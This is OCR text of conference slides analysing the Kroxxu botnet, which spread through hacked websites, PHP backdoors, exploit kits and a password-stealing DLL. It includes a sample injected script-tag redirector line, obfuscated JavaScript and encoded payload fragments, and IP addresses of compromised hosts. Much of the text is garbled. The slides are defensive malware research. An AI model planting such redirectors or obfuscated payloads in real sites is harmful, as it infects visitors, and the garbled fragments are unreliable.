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Background

A The Internet has become famous

" Nearly 200 milion registered domains (verisign.com)
More than 200 milion active websites (netcraft.com)
About 2 bilion internet users (internetworldstats.com)

10 internet users per each domain/website (simplified)
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Background

A The Internet has become famous

" Nearly 200 milion registered domains (verisign.com)
More than 200 milion active websites (netcraft.com)
About 2 bilion internet users (internetworldstats.com)

10 internet users per each domain/website (simplified)

A The Internet has also become infamous

Most used way of infection
Drive-by downloads/installations
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Before the birth of Kroxxu

A Gumblar began spreading on 28. April 2009
I Infections targeted gumblar.cn (later martuz.cn)
I Impacted more than 50,000 websites
I Massively hyped
I Shut down very quicky

A No activity for a long time
I probably the Kroxxu development state

A Kroxxu was born on 10. October 2009
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The Kroxxu basics

A Successor of the first Gumblar infection
I Many AV also use Gumblar name for the new infection

A Uses compromised websites
I Life on stolen land

T Indirect Cross Infection vector
A Cross -> Kroxx(u)

A Self reproducing botnet
I Distributes password stealers
I Stolen credentials support spreading

A Multilayered structure
I Each layer has its own task

Virus Bulletin 2010 Life on stolen land



A Malware distribution
domain created by bad

guys
A Just one direction of
iInfection vector

Virus Bulletin 2010

1.} Access legitimate site

2.) Redirect
based on
the hack i
Legitimate
Hacked Site

3.) Supplemental
{multiple)
redirection

[Hop(s)]

10J08/\ Uoljo8u| [ens

{

43 Exploits and malware
executable Malware Distribution

Domain

Life on stolen land



1.} Access legitimate site

2.} Redirect

based on
A Slightly different approach to hetack /e
drive-by downloads Hacked Site

A All the server parts are  user ot
equal and interchangeable

A Must be fixed by
owner/admin

3.) Supplemental
(multiple)
redirection

[Hop(s)]

4} Exploits and malware
executable Legitimate Hacked

Site with Malware
Distribution functionality
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Multilayered structure

redirection & infection flow
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Multilayered structure

command & control flow

Command/Control
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Initial redirectors

Infection process

A More than 90 thousands domains
T More than 10 thousands active

A Uses simple redirection

I Based on script tag
A <script src=http://[hacked].com/images/gifimg.php></script>

I Different approach to Gumblar
I Impacts original website content

A PHP code contains backdoor
I Simple evaluation
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Infection process

PHP redirectors /,

\

A More than 2,500 active

I 2,561 active on 12.09.2010

I Many previously acted as distribution part
A Uses simple redirection

I Based on script tag
I Feature added 4 months ago
I Doesnot affect original website

A PHP code contains backdoor
I Simple evaluation again
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Infection process
PHP redirectors /, eaeeer

\

A PHP redirectors not always used
I Initial redirection targets malware distribution part directly

A Redirector may refer another redirector

I Longest connection using 15 redirect!
A Reasonable? Glitch in automated process?

I Demonstration ->
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Infection process
PHP redirectors | Y SRS \
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User accesses landing
website.
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Infection process
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Infection process
PHP redirectors SRS
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Infection process
PHP redirectors SRS
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Infection process
PHP redirectors SRS
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Infection process
PHP redirectors V. SRS

L Germany
&‘, IIIinois, USA 85.114.133.135

\

China

69.175.20.18 122.102.8.167

Virus Bulletin 2010 Life on stolen land 18



Infection process
PHP redirectors SRS
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Infection process

PHP redirectors

Poland

. i 217.149.240.139
llinois, USA
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Infection process
PHP redirectors V. SRS
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Infection process
PHP redirectors V. SRS
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Infection process
PHP redirectors SRS
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Infection process
PHP redirectors V. SRS
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Infection process
PHP redirectors — l V. SRS \
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Infection process
PHP redirectors V. SRS
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PHP redirectors

Infection process

Russian Federation
89.188.115.114

Kentucky, USA » | Czech Republic
72.41.239.1 - 89.185.253.107
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Infection process

PHP redirectors
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Infection process

PHP redirectors

Russian Federation

89.188.115.114

Texas, USA
74.86.166.10
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Infection process

Malware Distribution /

A More than 700 active

I 728 active on 12. September 2010
A Compare to 258 found by Kaspersky in May

(http://www.securelist.com/en/blog/2132/Gumblar Farewell Japan)

I More than 8,500 identified in all
A Some changed functionality to PHP redirectors
A Other are inactive/cleaned

A Everything is stored on the compromised server
ADoesndét change | ocation
A Various filenames & directories

A Irregularly updated

I To avoid detection by various AV
I Minimal changes
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Infection process

Malware Distribution - PHP

A Encrypted (Base64)
A POST backdoor check

I e parameter i PHP script

I Kk parameter 1 password

I Run only if password matches
.

Password might be easily computed
A Ability to remove malware i illegal

A Exploit serving
I Recursive calls
A Binary files decryption & encryption
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Infection process

Malware Distribution - Exploits /
A MDAC

A CVE-2009-0075 i CollectGarbage

A PDF

T CVE-2007-5659 71 Collab.CollectEmailinfo
I CVE-2008-2992 1 util.printf
I CVE-2009-0927 1 Collab.getlcon

A Java - CVE-2008-5353
A Flash - CVE-2007-0071
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Malware

distribution

A PHP generated code (each unique)

A Two obfuscation types
I Random escape (javascript)

Il <script>

function Ipf (QJI5F3) return  QJS5F3.replace (/%/g ," ). replace (/[> uS'p |/ g,mxZy )}
CWE'd >6f cS75ment. >77>72 i p74>65S28p22u3c _dp69p76 style S3d>5cu22u70p6f si >74io

- Modified Base64 encryption (binary files)

- Uses randomly generated char table

PHGcfKpQOC7NuzhUaRmI3Y2Joni6Lv1y4/AVexk5gjFwtMrd89bEDs=XIBWgZS0+T

IYjaPPOPPPPfPPZP ++ZPPN4PPPPPPPPPaPPiPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPI
PPPPPPPPPPPPPPPPNgaPPlyMP5z064HIuD/eCH3ipxEOQHb6=vbo2D46JYEVGHANMHb

v2l4v2BenJO4Y=xruEOzGAaXPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPF
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Infection process

Attacked computer - Malware

/7

A Drops DLL stealer

A Auto run with winmm.dl|
I By the key midi9 under the Drivers32 section

A Hooks API

T Monitor connection
T Receive information

A Detects security related products
I Ends/Restarts if found any

A Minimal changes during attack
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Infection process

Zombie statistics

Malware

distribution

Zombie domains (Malware distribution) increase
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Infection process

Zombie statistics distribution

Malware

Life age of currently active Zombie domains
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Infection process

Infection rate by the counties

us
46%
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